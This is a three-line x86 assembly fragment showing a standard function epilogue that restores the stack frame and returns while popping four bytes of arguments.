mov esp, ebp
pop ebp
ret 4